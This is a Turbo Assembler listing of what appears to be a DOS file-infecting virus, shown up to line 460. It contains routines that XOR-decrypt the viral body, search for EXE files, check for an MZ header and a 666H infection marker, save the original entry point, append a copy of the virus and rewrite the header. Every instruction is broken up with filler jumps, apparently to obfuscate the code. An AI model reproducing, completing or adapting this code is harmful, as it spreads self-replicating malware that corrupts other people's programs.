Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 1
gps.prc



      1					 .386
      2					 assume	cs:Xseg,ss:Sseg
      3	    0000			 Xseg segment use16
      4	    0000  B4 09						 mov ah,9
      5	    0002  BA 000Er					 lea dx,Mess1
      6	    0005  0E						 push cs
      7	    0006  1F						 pop ds
      8	    0007  CD 21						 int 21h
      9	    0009  B8 4C00					 mov ax,4c00h
     10	    000C  CD 21						 int 21h
     11	    000E  57 65	6C 63 6F 6D 65+	 Mess1:			 db 'Welcome to	hell!$'
     12		  20 74	6F 20 68 65 6C+
     13		  6C 21	24
     14	    001F			 Xseg ends
     15					 assume	cs:Vseg
     16	    0000			 Vseg segment use16
     17					 ;#CODESTART
     18		  =OFFSET 0044		 GPSVAR_00000 EQU OFFSET GPS_00001-OFFSET GPS_00000 OR 40H
     19	    0000			 GPS_00000:
     20	    0000  60			 START:	PUSHA
     21	    0001  E9 00	00		 DB 0E9H, 0, 0
     22		  =OFFSET 0045		 GPSVAR_00001 EQU OFFSET GPS_00002-OFFSET GPS_00001 OR 40H
     23	    0004			 GPS_00001:
     24	    0004  8C D8			 MOV AX,DS
     25	    0006  E9 00	00		 DB 0E9H, 0, 0
     26		  =OFFSET 0048		 GPSVAR_00002 EQU OFFSET GPS_00003-OFFSET GPS_00002 OR 40H
     27	    0009			 GPS_00002:
     28	    0009  2E: 01 06 059Fr	 ADD CS:[OLD_CS],AX
     29	    000E  E9 00	00		 DB 0E9H, 0, 0
     30		  =OFFSET 0048		 GPSVAR_00003 EQU OFFSET GPS_00004-OFFSET GPS_00003 OR 40H
     31	    0011			 GPS_00003:
     32	    0011  2E: 01 06 05A3r	 ADD CS:[OLD_SS],AX
     33	    0016  E9 00	00		 DB 0E9H, 0, 0
     34		  =OFFSET 0086		 GPSVAR_00004 EQU OFFSET GPS_00005-OFFSET GPS_00004 OR 80H
     35	    0019			 GPS_00004:
     36	    0019  E8 0024		 CALL VIRMAIN
     37	    001C  E9 00	00		 DB 0E9H, 0, 0
     38		  =OFFSET 0044		 GPSVAR_00005 EQU OFFSET GPS_00006-OFFSET GPS_00005 OR 40H
     39	    001F			 GPS_00005:
     40	    001F  61			 POPA
     41	    0020  E9 00	00		 DB 0E9H, 0, 0
     42		  =OFFSET 0044		 GPSVAR_00006 EQU OFFSET GPS_00007-OFFSET GPS_00006 OR 40H
     43	    0023			 GPS_00006:
     44	    0023  FA			 CLI
     45	    0024  E9 00	00		 DB 0E9H, 0, 0
     46		  =OFFSET 0048		 GPSVAR_00007 EQU OFFSET GPS_00008-OFFSET GPS_00007 OR 40H
     47	    0027			 GPS_00007:
     48	    0027  2E: 8E 16 05A3r	 MOV SS,CS:[OLD_SS]
     49	    002C  E9 00	00		 DB 0E9H, 0, 0
     50		  =OFFSET 0048		 GPSVAR_00008 EQU OFFSET GPS_00009-OFFSET GPS_00008 OR 40H
     51	    002F			 GPS_00008:
     52	    002F  2E: 8B 26 05A1r	 MOV SP,CS:[OLD_SP]
     53	    0034  E9 00	00		 DB 0E9H, 0, 0
     54		  =OFFSET 0044		 GPSVAR_00009 EQU OFFSET GPS_00010-OFFSET GPS_00009 OR 40H
     55	    0037			 GPS_00009:
     56	    0037  FB			 STI
     57	    0038  E9 00	00		 DB 0E9H, 0, 0
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 2
gps.prc



     58		  =OFFSET 0005		 GPSVAR_00010 EQU OFFSET GPS_00011-OFFSET GPS_00010
     59	    003B			 GPS_00010:
     60	    003B  2E: FF 2E 059Dr	 JMP DWORD PTR CS:[OLD_IP]
     61	    0040			 VIRMAIN PROC NEAR
     62		  =OFFSET 0044		 GPSVAR_00011 EQU OFFSET GPS_00012-OFFSET GPS_00011 OR 40H
     63	    0040			 GPS_00011:
     64	    0040  1E			 PUSH DS
     65	    0041  E9 00	00		 DB 0E9H, 0, 0
     66		  =OFFSET 0044		 GPSVAR_00012 EQU OFFSET GPS_00013-OFFSET GPS_00012 OR 40H
     67	    0044			 GPS_00012:
     68	    0044  06			 PUSH ES
     69	    0045  E9 00	00		 DB 0E9H, 0, 0
     70		  =OFFSET 0045		 GPSVAR_00013 EQU OFFSET GPS_00014-OFFSET GPS_00013 OR 40H
     71	    0048			 GPS_00013:
     72	    0048  B4 1A			 MOV AH,1AH
     73	    004A  E9 00	00		 DB 0E9H, 0, 0
     74		  =OFFSET 0046		 GPSVAR_00014 EQU OFFSET GPS_00015-OFFSET GPS_00014 OR 40H
     75	    004D			 GPS_00014:
     76	    004D  BA 16AAr		 LEA DX,[DTA]
     77	    0050  E9 00	00		 DB 0E9H, 0, 0
     78		  =OFFSET 0044		 GPSVAR_00015 EQU OFFSET GPS_00016-OFFSET GPS_00015 OR 40H
     79	    0053			 GPS_00015:
     80	    0053  0E			 PUSH CS
     81	    0054  E9 00	00		 DB 0E9H, 0, 0
     82		  =OFFSET 0044		 GPSVAR_00016 EQU OFFSET GPS_00017-OFFSET GPS_00016 OR 40H
     83	    0057			 GPS_00016:
     84	    0057  0E			 PUSH CS
     85	    0058  E9 00	00		 DB 0E9H, 0, 0
     86		  =OFFSET 0044		 GPSVAR_00017 EQU OFFSET GPS_00018-OFFSET GPS_00017 OR 40H
     87	    005B			 GPS_00017:
     88	    005B  1F			 POP DS
     89	    005C  E9 00	00		 DB 0E9H, 0, 0
     90		  =OFFSET 0044		 GPSVAR_00018 EQU OFFSET GPS_00019-OFFSET GPS_00018 OR 40H
     91	    005F			 GPS_00018:
     92	    005F  07			 POP ES
     93	    0060  E9 00	00		 DB 0E9H, 0, 0
     94		  =OFFSET 0045		 GPSVAR_00019 EQU OFFSET GPS_00020-OFFSET GPS_00019 OR 40H
     95	    0063			 GPS_00019:
     96	    0063  CD 21			 INT 21H
     97	    0065  E9 00	00		 DB 0E9H, 0, 0
     98		  =OFFSET 0086		 GPSVAR_00020 EQU OFFSET GPS_00021-OFFSET GPS_00020 OR 80H
     99	    0068			 GPS_00020:
    100	    0068  E8 0468		 CALL RANDOMIZE
    101	    006B  E9 00	00		 DB 0E9H, 0, 0
    102		  =OFFSET 0046		 GPSVAR_00021 EQU OFFSET GPS_00022-OFFSET GPS_00021 OR 40H
    103	    006E			 GPS_00021:
    104	    006E  B9 0382		 MOV CX,OFFSET CODE2-OFFSET XORKEY
    105	    0071  E9 00	00		 DB 0E9H, 0, 0
    106		  =OFFSET 0046		 GPSVAR_00022 EQU OFFSET GPS_00023-OFFSET GPS_00022 OR 40H
    107	    0074			 GPS_00022:
    108	    0074  BE 05A5r		 LEA SI,[XORKEY]
    109	    0077  E9 00	00		 DB 0E9H, 0, 0
    110		  =OFFSET 0045		 GPSVAR_00023 EQU OFFSET GPS_00024-OFFSET GPS_00023 OR 40H
    111	    007A			 GPS_00023:
    112	    007A  8A 04			 MOV AL,DS:[SI]
    113	    007C  E9 00	00		 DB 0E9H, 0, 0
    114		  =OFFSET 0045		 GPSVAR_00024 EQU OFFSET GPS_00025-OFFSET GPS_00024 OR 40H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 3
gps.prc



    115	    007F			 GPS_00024:
    116	    007F  30 04			 VM1: XOR DS:[SI],AL
    117	    0081  E9 00	00		 DB 0E9H, 0, 0
    118		  =OFFSET 0044		 GPSVAR_00025 EQU OFFSET GPS_00026-OFFSET GPS_00025 OR 40H
    119	    0084			 GPS_00025:
    120	    0084  46			 INC SI
    121	    0085  E9 00	00		 DB 0E9H, 0, 0
    122		  =OFFSET 0088		 GPSVAR_00026 EQU OFFSET GPS_00027-OFFSET GPS_00026 OR 80H
    123	    0088			 GPS_00026:
    124	    0088  E2 03			 LOOP $+5
    125	    008A  E9 03	00		 DB 0E9H, 3, 0
    126	    008D  E9			 DB 0E9H
    127	    008E  FFEF			 DW OFFSET VM1-$-2
    128		  =OFFSET 0045		 GPSVAR_00027 EQU OFFSET GPS_00028-OFFSET GPS_00027 OR 40H
    129	    0090			 GPS_00027:
    130	    0090  B4 4E			 MOV AH,4EH
    131	    0092  E9 00	00		 DB 0E9H, 0, 0
    132		  =OFFSET 0046		 GPSVAR_00028 EQU OFFSET GPS_00029-OFFSET GPS_00028 OR 40H
    133	    0095			 GPS_00028:
    134	    0095  B9 003F		 MOV CX,63
    135	    0098  E9 00	00		 DB 0E9H, 0, 0
    136		  =OFFSET 0046		 GPSVAR_00029 EQU OFFSET GPS_00030-OFFSET GPS_00029 OR 40H
    137	    009B			 GPS_00029:
    138	    009B  BA 05A6r		 LEA DX,[EXE]
    139	    009E  E9 00	00		 DB 0E9H, 0, 0
    140		  =OFFSET 0045		 GPSVAR_00030 EQU OFFSET GPS_00031-OFFSET GPS_00030 OR 40H
    141	    00A1			 GPS_00030:
    142	    00A1  CD 21			 INT 21H
    143	    00A3  E9 00	00		 DB 0E9H, 0, 0
    144		  =OFFSET 0088		 GPSVAR_00031 EQU OFFSET GPS_00032-OFFSET GPS_00031 OR 80H
    145	    00A6			 GPS_00031:
    146	    00A6  72 03			 VM2: JC $+5
    147	    00A8  E9 03	00		 DB 0E9H, 3, 0
    148	    00AB  E9			 DB 0E9H
    149	    00AC  0013			 DW OFFSET VM3-$-2
    150		  =OFFSET 0086		 GPSVAR_00032 EQU OFFSET GPS_00033-OFFSET GPS_00032 OR 80H
    151	    00AE			 GPS_00032:
    152	    00AE  E8 0029		 CALL INFECT
    153	    00B1  E9 00	00		 DB 0E9H, 0, 0
    154		  =OFFSET 0045		 GPSVAR_00033 EQU OFFSET GPS_00034-OFFSET GPS_00033 OR 40H
    155	    00B4			 GPS_00033:
    156	    00B4  B4 4F			 MOV AH,4FH
    157	    00B6  E9 00	00		 DB 0E9H, 0, 0
    158		  =OFFSET 0045		 GPSVAR_00034 EQU OFFSET GPS_00035-OFFSET GPS_00034 OR 40H
    159	    00B9			 GPS_00034:
    160	    00B9  CD 21			 INT 21H
    161	    00BB  E9 00	00		 DB 0E9H, 0, 0
    162		  =OFFSET 0043		 GPSVAR_00035 EQU OFFSET GPS_00036-OFFSET GPS_00035 OR 40H
    163	    00BE			 GPS_00035:
    164	    00BE  E9			 DB 0E9H
    165	    00BF  FFE5			 DW OFFSET VM2-$-2
    166		  =OFFSET 0044		 GPSVAR_00036 EQU OFFSET GPS_00037-OFFSET GPS_00036 OR 40H
    167	    00C1			 GPS_00036:
    168	    00C1  07			 VM3: POP ES
    169	    00C2  E9 00	00		 DB 0E9H, 0, 0
    170		  =OFFSET 0044		 GPSVAR_00037 EQU OFFSET GPS_00038-OFFSET GPS_00037 OR 40H
    171	    00C5			 GPS_00037:
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 4
gps.prc



    172	    00C5  1F			 POP DS
    173	    00C6  E9 00	00		 DB 0E9H, 0, 0
    174		  =OFFSET 0045		 GPSVAR_00038 EQU OFFSET GPS_00039-OFFSET GPS_00038 OR 40H
    175	    00C9			 GPS_00038:
    176	    00C9  B4 1A			 MOV AH,1AH
    177	    00CB  E9 00	00		 DB 0E9H, 0, 0
    178		  =OFFSET 0046		 GPSVAR_00039 EQU OFFSET GPS_00040-OFFSET GPS_00039 OR 40H
    179	    00CE			 GPS_00039:
    180	    00CE  BA 0080		 MOV DX,80H
    181	    00D1  E9 00	00		 DB 0E9H, 0, 0
    182		  =OFFSET 0045		 GPSVAR_00040 EQU OFFSET GPS_00041-OFFSET GPS_00040 OR 40H
    183	    00D4			 GPS_00040:
    184	    00D4  CD 21			 INT 21H
    185	    00D6  E9 00	00		 DB 0E9H, 0, 0
    186		  =OFFSET 0001		 GPSVAR_00041 EQU OFFSET GPS_00042-OFFSET GPS_00041
    187	    00D9			 GPS_00041:
    188	    00D9  C3			 RET
    189	    00DA			 VIRMAIN ENDP
    190	    00DA			 INFECT	PROC NEAR
    191		  =OFFSET 0046		 GPSVAR_00042 EQU OFFSET GPS_00043-OFFSET GPS_00042 OR 40H
    192	    00DA			 GPS_00042:
    193	    00DA  B8 3D02		 MOV AX,3D02H
    194	    00DD  E9 00	00		 DB 0E9H, 0, 0
    195		  =OFFSET 0046		 GPSVAR_00043 EQU OFFSET GPS_00044-OFFSET GPS_00043 OR 40H
    196	    00E0			 GPS_00043:
    197	    00E0  BA 16C8r		 LEA DX,[DTA+1EH]
    198	    00E3  E9 00	00		 DB 0E9H, 0, 0
    199		  =OFFSET 0045		 GPSVAR_00044 EQU OFFSET GPS_00045-OFFSET GPS_00044 OR 40H
    200	    00E6			 GPS_00044:
    201	    00E6  CD 21			 INT 21H
    202	    00E8  E9 00	00		 DB 0E9H, 0, 0
    203		  =OFFSET 0088		 GPSVAR_00045 EQU OFFSET GPS_00046-OFFSET GPS_00045 OR 80H
    204	    00EB			 GPS_00045:
    205	    00EB  72 03			 JC $+5
    206	    00ED  E9 03	00		 DB 0E9H, 3, 0
    207	    00F0  E9			 DB 0E9H
    208	    00F1  01B0			 DW OFFSET IN1-$-2
    209		  =OFFSET 0045		 GPSVAR_00046 EQU OFFSET GPS_00047-OFFSET GPS_00046 OR 40H
    210	    00F3			 GPS_00046:
    211	    00F3  8B D8			 MOV BX,AX
    212	    00F5  E9 00	00		 DB 0E9H, 0, 0
    213		  =OFFSET 0045		 GPSVAR_00047 EQU OFFSET GPS_00048-OFFSET GPS_00047 OR 40H
    214	    00F8			 GPS_00047:
    215	    00F8  B4 3F			 MOV AH,3FH
    216	    00FA  E9 00	00		 DB 0E9H, 0, 0
    217		  =OFFSET 0046		 GPSVAR_00048 EQU OFFSET GPS_00049-OFFSET GPS_00048 OR 40H
    218	    00FD			 GPS_00048:
    219	    00FD  B9 001C		 MOV CX,1CH
    220	    0100  E9 00	00		 DB 0E9H, 0, 0
    221		  =OFFSET 0046		 GPSVAR_00049 EQU OFFSET GPS_00050-OFFSET GPS_00049 OR 40H
    222	    0103			 GPS_00049:
    223	    0103  BA 168Er		 LEA DX,[HEADER]
    224	    0106  E9 00	00		 DB 0E9H, 0, 0
    225		  =OFFSET 0045		 GPSVAR_00050 EQU OFFSET GPS_00051-OFFSET GPS_00050 OR 40H
    226	    0109			 GPS_00050:
    227	    0109  CD 21			 INT 21H
    228	    010B  E9 00	00		 DB 0E9H, 0, 0
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 5
gps.prc



    229		  =OFFSET 0049		 GPSVAR_00051 EQU OFFSET GPS_00052-OFFSET GPS_00051 OR 40H
    230	    010E			 GPS_00051:
    231	    010E  81 3E	168Er 5A4D	 CMP WORD PTR DS:[HEADER],'ZM'
    232	    0114  E9 00	00		 DB 0E9H, 0, 0
    233		  =OFFSET 0088		 GPSVAR_00052 EQU OFFSET GPS_00053-OFFSET GPS_00052 OR 80H
    234	    0117			 GPS_00052:
    235	    0117  75 03			 JNE $+5
    236	    0119  E9 03	00		 DB 0E9H, 3, 0
    237	    011C  E9			 DB 0E9H
    238	    011D  017A			 DW OFFSET IN2-$-2
    239		  =OFFSET 0049		 GPSVAR_00053 EQU OFFSET GPS_00054-OFFSET GPS_00053 OR 40H
    240	    011F			 GPS_00053:
    241	    011F  81 3E	16A0r 0666	 CMP WORD PTR DS:[HEADER+12H],666H
    242	    0125  E9 00	00		 DB 0E9H, 0, 0
    243		  =OFFSET 0088		 GPSVAR_00054 EQU OFFSET GPS_00055-OFFSET GPS_00054 OR 80H
    244	    0128			 GPS_00054:
    245	    0128  74 03			 JE $+5
    246	    012A  E9 03	00		 DB 0E9H, 3, 0
    247	    012D  E9			 DB 0E9H
    248	    012E  0169			 DW OFFSET IN2-$-2
    249		  =OFFSET 0049		 GPSVAR_00055 EQU OFFSET GPS_00056-OFFSET GPS_00055 OR 40H
    250	    0130			 GPS_00055:
    251	    0130  81 3E	1692r 0258	 CMP WORD PTR DS:[HEADER+4],600
    252	    0136  E9 00	00		 DB 0E9H, 0, 0
    253		  =OFFSET 0088		 GPSVAR_00056 EQU OFFSET GPS_00057-OFFSET GPS_00056 OR 80H
    254	    0139			 GPS_00056:
    255	    0139  77 03			 JA $+5
    256	    013B  E9 03	00		 DB 0E9H, 3, 0
    257	    013E  E9			 DB 0E9H
    258	    013F  0158			 DW OFFSET IN2-$-2
    259		  =OFFSET 0046		 GPSVAR_00057 EQU OFFSET GPS_00058-OFFSET GPS_00057 OR 40H
    260	    0141			 GPS_00057:
    261	    0141  A1 169Cr		 MOV AX,WORD PTR DS:[HEADER+0EH]
    262	    0144  E9 00	00		 DB 0E9H, 0, 0
    263		  =OFFSET 0046		 GPSVAR_00058 EQU OFFSET GPS_00059-OFFSET GPS_00058 OR 40H
    264	    0147			 GPS_00058:
    265	    0147  05 0010		 ADD AX,10H
    266	    014A  E9 00	00		 DB 0E9H, 0, 0
    267		  =OFFSET 0046		 GPSVAR_00059 EQU OFFSET GPS_00060-OFFSET GPS_00059 OR 40H
    268	    014D			 GPS_00059:
    269	    014D  A3 0ECAr		 MOV DS:[OLD_SS2],AX
    270	    0150  E9 00	00		 DB 0E9H, 0, 0
    271		  =OFFSET 0046		 GPSVAR_00060 EQU OFFSET GPS_00061-OFFSET GPS_00060 OR 40H
    272	    0153			 GPS_00060:
    273	    0153  A1 169Er		 MOV AX,WORD PTR DS:[HEADER+10H]
    274	    0156  E9 00	00		 DB 0E9H, 0, 0
    275		  =OFFSET 0046		 GPSVAR_00061 EQU OFFSET GPS_00062-OFFSET GPS_00061 OR 40H
    276	    0159			 GPS_00061:
    277	    0159  A3 0EC8r		 MOV DS:[OLD_SP2],AX
    278	    015C  E9 00	00		 DB 0E9H, 0, 0
    279		  =OFFSET 0046		 GPSVAR_00062 EQU OFFSET GPS_00063-OFFSET GPS_00062 OR 40H
    280	    015F			 GPS_00062:
    281	    015F  A1 16A2r		 MOV AX,WORD PTR DS:[HEADER+14H]
    282	    0162  E9 00	00		 DB 0E9H, 0, 0
    283		  =OFFSET 0046		 GPSVAR_00063 EQU OFFSET GPS_00064-OFFSET GPS_00063 OR 40H
    284	    0165			 GPS_00063:
    285	    0165  A3 0EC4r		 MOV DS:[OLD_IP2],AX
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 6
gps.prc



    286	    0168  E9 00	00		 DB 0E9H, 0, 0
    287		  =OFFSET 0046		 GPSVAR_00064 EQU OFFSET GPS_00065-OFFSET GPS_00064 OR 40H
    288	    016B			 GPS_00064:
    289	    016B  A1 16A4r		 MOV AX,WORD PTR DS:[HEADER+16H]
    290	    016E  E9 00	00		 DB 0E9H, 0, 0
    291		  =OFFSET 0046		 GPSVAR_00065 EQU OFFSET GPS_00066-OFFSET GPS_00065 OR 40H
    292	    0171			 GPS_00065:
    293	    0171  05 0010		 ADD AX,10H
    294	    0174  E9 00	00		 DB 0E9H, 0, 0
    295		  =OFFSET 0046		 GPSVAR_00066 EQU OFFSET GPS_00067-OFFSET GPS_00066 OR 40H
    296	    0177			 GPS_00066:
    297	    0177  A3 0EC6r		 MOV DS:[OLD_CS2],AX
    298	    017A  E9 00	00		 DB 0E9H, 0, 0
    299		  =OFFSET 0086		 GPSVAR_00067 EQU OFFSET GPS_00068-OFFSET GPS_00067 OR 80H
    300	    017D			 GPS_00067:
    301	    017D  E8 0124		 CALL CREATECOPY
    302	    0180  E9 00	00		 DB 0E9H, 0, 0
    303		  =OFFSET 0046		 GPSVAR_00068 EQU OFFSET GPS_00069-OFFSET GPS_00068 OR 40H
    304	    0183			 GPS_00068:
    305	    0183  A3 16A2r		 MOV WORD PTR DS:[HEADER+14H],AX
    306	    0186  E9 00	00		 DB 0E9H, 0, 0
    307		  =OFFSET 0046		 GPSVAR_00069 EQU OFFSET GPS_00070-OFFSET GPS_00069 OR 40H
    308	    0189			 GPS_00069:
    309	    0189  B8 4202		 MOV AX,4202H
    310	    018C  E9 00	00		 DB 0E9H, 0, 0
    311		  =OFFSET 0045		 GPSVAR_00070 EQU OFFSET GPS_00071-OFFSET GPS_00070 OR 40H
    312	    018F			 GPS_00070:
    313	    018F  33 C9			 XOR CX,CX
    314	    0191  E9 00	00		 DB 0E9H, 0, 0
    315		  =OFFSET 0045		 GPSVAR_00071 EQU OFFSET GPS_00072-OFFSET GPS_00071 OR 40H
    316	    0194			 GPS_00071:
    317	    0194  33 D2			 XOR DX,DX
    318	    0196  E9 00	00		 DB 0E9H, 0, 0
    319		  =OFFSET 0045		 GPSVAR_00072 EQU OFFSET GPS_00073-OFFSET GPS_00072 OR 40H
    320	    0199			 GPS_00072:
    321	    0199  CD 21			 INT 21H
    322	    019B  E9 00	00		 DB 0E9H, 0, 0
    323		  =OFFSET 0046		 GPSVAR_00073 EQU OFFSET GPS_00074-OFFSET GPS_00073 OR 40H
    324	    019E			 GPS_00073:
    325	    019E  05 000F		 ADD AX,15
    326	    01A1  E9 00	00		 DB 0E9H, 0, 0
    327		  =OFFSET 0046		 GPSVAR_00074 EQU OFFSET GPS_00075-OFFSET GPS_00074 OR 40H
    328	    01A4			 GPS_00074:
    329	    01A4  83 D2	00		 ADC DX,0
    330	    01A7  E9 00	00		 DB 0E9H, 0, 0
    331		  =OFFSET 0046		 GPSVAR_00075 EQU OFFSET GPS_00076-OFFSET GPS_00075 OR 40H
    332	    01AA			 GPS_00075:
    333	    01AA  B9 0010		 MOV CX,16
    334	    01AD  E9 00	00		 DB 0E9H, 0, 0
    335		  =OFFSET 0045		 GPSVAR_00076 EQU OFFSET GPS_00077-OFFSET GPS_00076 OR 40H
    336	    01B0			 GPS_00076:
    337	    01B0  F7 F1			 DIV CX
    338	    01B2  E9 00	00		 DB 0E9H, 0, 0
    339		  =OFFSET 0045		 GPSVAR_00077 EQU OFFSET GPS_00078-OFFSET GPS_00077 OR 40H
    340	    01B5			 GPS_00077:
    341	    01B5  8B D0			 MOV DX,AX
    342	    01B7  E9 00	00		 DB 0E9H, 0, 0
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 7
gps.prc



    343		  =OFFSET 0047		 GPSVAR_00078 EQU OFFSET GPS_00079-OFFSET GPS_00078 OR 40H
    344	    01BA			 GPS_00078:
    345	    01BA  2B 16	1696r		 SUB DX,WORD PTR DS:[HEADER+8]
    346	    01BE  E9 00	00		 DB 0E9H, 0, 0
    347		  =OFFSET 0047		 GPSVAR_00079 EQU OFFSET GPS_00080-OFFSET GPS_00079 OR 40H
    348	    01C1			 GPS_00079:
    349	    01C1  89 16	16A4r		 MOV WORD PTR DS:[HEADER+16H],DX
    350	    01C5  E9 00	00		 DB 0E9H, 0, 0
    351		  =OFFSET 0045		 GPSVAR_00080 EQU OFFSET GPS_00081-OFFSET GPS_00080 OR 40H
    352	    01C8			 GPS_00080:
    353	    01C8  F7 E1			 MUL CX
    354	    01CA  E9 00	00		 DB 0E9H, 0, 0
    355		  =OFFSET 0045		 GPSVAR_00081 EQU OFFSET GPS_00082-OFFSET GPS_00081 OR 40H
    356	    01CD			 GPS_00081:
    357	    01CD  8B CA			 MOV CX,DX
    358	    01CF  E9 00	00		 DB 0E9H, 0, 0
    359		  =OFFSET 0045		 GPSVAR_00082 EQU OFFSET GPS_00083-OFFSET GPS_00082 OR 40H
    360	    01D2			 GPS_00082:
    361	    01D2  8B D0			 MOV DX,AX
    362	    01D4  E9 00	00		 DB 0E9H, 0, 0
    363		  =OFFSET 0046		 GPSVAR_00083 EQU OFFSET GPS_00084-OFFSET GPS_00083 OR 40H
    364	    01D7			 GPS_00083:
    365	    01D7  B8 4200		 MOV AX,4200H
    366	    01DA  E9 00	00		 DB 0E9H, 0, 0
    367		  =OFFSET 0045		 GPSVAR_00084 EQU OFFSET GPS_00085-OFFSET GPS_00084 OR 40H
    368	    01DD			 GPS_00084:
    369	    01DD  CD 21			 INT 21H
    370	    01DF  E9 00	00		 DB 0E9H, 0, 0
    371		  =OFFSET 0046		 GPSVAR_00085 EQU OFFSET GPS_00086-OFFSET GPS_00085 OR 40H
    372	    01E2			 GPS_00085:
    373	    01E2  05 0927		 ADD AX,OFFSET CODE2-OFFSET START
    374	    01E5  E9 00	00		 DB 0E9H, 0, 0
    375		  =OFFSET 0046		 GPSVAR_00086 EQU OFFSET GPS_00087-OFFSET GPS_00086 OR 40H
    376	    01E8			 GPS_00086:
    377	    01E8  83 D2	00		 ADC DX,0
    378	    01EB  E9 00	00		 DB 0E9H, 0, 0
    379		  =OFFSET 0044		 GPSVAR_00087 EQU OFFSET GPS_00088-OFFSET GPS_00087 OR 40H
    380	    01EE			 GPS_00087:
    381	    01EE  50			 PUSH AX
    382	    01EF  E9 00	00		 DB 0E9H, 0, 0
    383		  =OFFSET 0044		 GPSVAR_00088 EQU OFFSET GPS_00089-OFFSET GPS_00088 OR 40H
    384	    01F2			 GPS_00088:
    385	    01F2  52			 PUSH DX
    386	    01F3  E9 00	00		 DB 0E9H, 0, 0
    387		  =OFFSET 0046		 GPSVAR_00089 EQU OFFSET GPS_00090-OFFSET GPS_00089 OR 40H
    388	    01F6			 GPS_00089:
    389	    01F6  05 01FF		 ADD AX,511
    390	    01F9  E9 00	00		 DB 0E9H, 0, 0
    391		  =OFFSET 0046		 GPSVAR_00090 EQU OFFSET GPS_00091-OFFSET GPS_00090 OR 40H
    392	    01FC			 GPS_00090:
    393	    01FC  83 D2	00		 ADC DX,0
    394	    01FF  E9 00	00		 DB 0E9H, 0, 0
    395		  =OFFSET 0046		 GPSVAR_00091 EQU OFFSET GPS_00092-OFFSET GPS_00091 OR 40H
    396	    0202			 GPS_00091:
    397	    0202  B9 0200		 MOV CX,512
    398	    0205  E9 00	00		 DB 0E9H, 0, 0
    399		  =OFFSET 0045		 GPSVAR_00092 EQU OFFSET GPS_00093-OFFSET GPS_00092 OR 40H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 8
gps.prc



    400	    0208			 GPS_00092:
    401	    0208  F7 F1			 DIV CX
    402	    020A  E9 00	00		 DB 0E9H, 0, 0
    403		  =OFFSET 0047		 GPSVAR_00093 EQU OFFSET GPS_00094-OFFSET GPS_00093 OR 40H
    404	    020D			 GPS_00093:
    405	    020D  89 16	1690r		 MOV WORD PTR DS:[HEADER+2],DX
    406	    0211  E9 00	00		 DB 0E9H, 0, 0
    407		  =OFFSET 0046		 GPSVAR_00094 EQU OFFSET GPS_00095-OFFSET GPS_00094 OR 40H
    408	    0214			 GPS_00094:
    409	    0214  A3 1692r		 MOV WORD PTR DS:[HEADER+4],AX
    410	    0217  E9 00	00		 DB 0E9H, 0, 0
    411		  =OFFSET 0044		 GPSVAR_00095 EQU OFFSET GPS_00096-OFFSET GPS_00095 OR 40H
    412	    021A			 GPS_00095:
    413	    021A  5A			 POP DX
    414	    021B  E9 00	00		 DB 0E9H, 0, 0
    415		  =OFFSET 0044		 GPSVAR_00096 EQU OFFSET GPS_00097-OFFSET GPS_00096 OR 40H
    416	    021E			 GPS_00096:
    417	    021E  58			 POP AX
    418	    021F  E9 00	00		 DB 0E9H, 0, 0
    419		  =OFFSET 0046		 GPSVAR_00097 EQU OFFSET GPS_00098-OFFSET GPS_00097 OR 40H
    420	    0222			 GPS_00097:
    421	    0222  05 0DC1		 ADD AX,OFFSET DATAEND-OFFSET CODE2+15
    422	    0225  E9 00	00		 DB 0E9H, 0, 0
    423		  =OFFSET 0046		 GPSVAR_00098 EQU OFFSET GPS_00099-OFFSET GPS_00098 OR 40H
    424	    0228			 GPS_00098:
    425	    0228  83 D2	00		 ADC DX,0
    426	    022B  E9 00	00		 DB 0E9H, 0, 0
    427		  =OFFSET 0046		 GPSVAR_00099 EQU OFFSET GPS_00100-OFFSET GPS_00099 OR 40H
    428	    022E			 GPS_00099:
    429	    022E  B9 0010		 MOV CX,16
    430	    0231  E9 00	00		 DB 0E9H, 0, 0
    431		  =OFFSET 0045		 GPSVAR_00100 EQU OFFSET GPS_00101-OFFSET GPS_00100 OR 40H
    432	    0234			 GPS_00100:
    433	    0234  F7 F1			 DIV CX
    434	    0236  E9 00	00		 DB 0E9H, 0, 0
    435		  =OFFSET 0047		 GPSVAR_00101 EQU OFFSET GPS_00102-OFFSET GPS_00101 OR 40H
    436	    0239			 GPS_00101:
    437	    0239  2B 06	1696r		 SUB AX,WORD PTR DS:[HEADER+8]
    438	    023D  E9 00	00		 DB 0E9H, 0, 0
    439		  =OFFSET 0046		 GPSVAR_00102 EQU OFFSET GPS_00103-OFFSET GPS_00102 OR 40H
    440	    0240			 GPS_00102:
    441	    0240  A3 169Cr		 MOV WORD PTR DS:[HEADER+0EH],AX
    442	    0243  E9 00	00		 DB 0E9H, 0, 0
    443		  =OFFSET 0049		 GPSVAR_00103 EQU OFFSET GPS_00104-OFFSET GPS_00103 OR 40H
    444	    0246			 GPS_00103:
    445	    0246  C7 06	169Er 1000	 MOV WORD PTR DS:[HEADER+10H],4096
    446	    024C  E9 00	00		 DB 0E9H, 0, 0
    447		  =OFFSET 0049		 GPSVAR_00104 EQU OFFSET GPS_00105-OFFSET GPS_00104 OR 40H
    448	    024F			 GPS_00104:
    449	    024F  C7 06	16A0r 0666	 MOV WORD PTR DS:[HEADER+12H],666H
    450	    0255  E9 00	00		 DB 0E9H, 0, 0
    451		  =OFFSET 0045		 GPSVAR_00105 EQU OFFSET GPS_00106-OFFSET GPS_00105 OR 40H
    452	    0258			 GPS_00105:
    453	    0258  B4 40			 MOV AH,40H
    454	    025A  E9 00	00		 DB 0E9H, 0, 0
    455		  =OFFSET 0046		 GPSVAR_00106 EQU OFFSET GPS_00107-OFFSET GPS_00106 OR 40H
    456	    025D			 GPS_00106:
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 9
gps.prc



    457	    025D  B9 0927		 MOV CX,OFFSET CODE2-OFFSET START
    458	    0260  E9 00	00		 DB 0E9H, 0, 0
    459		  =OFFSET 0046		 GPSVAR_00107 EQU OFFSET GPS_00108-OFFSET GPS_00107 OR 40H
    460	    0263			 GPS_00107:
